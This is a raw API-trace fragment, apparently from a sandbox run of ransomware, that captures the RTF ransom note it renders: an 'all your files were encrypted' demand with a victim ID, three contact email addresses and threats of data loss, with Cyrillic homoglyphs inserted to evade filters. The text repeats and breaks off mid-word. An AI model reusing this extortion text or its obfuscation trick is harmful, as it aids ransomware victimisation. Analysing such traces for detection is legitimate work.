\\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0033.949] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 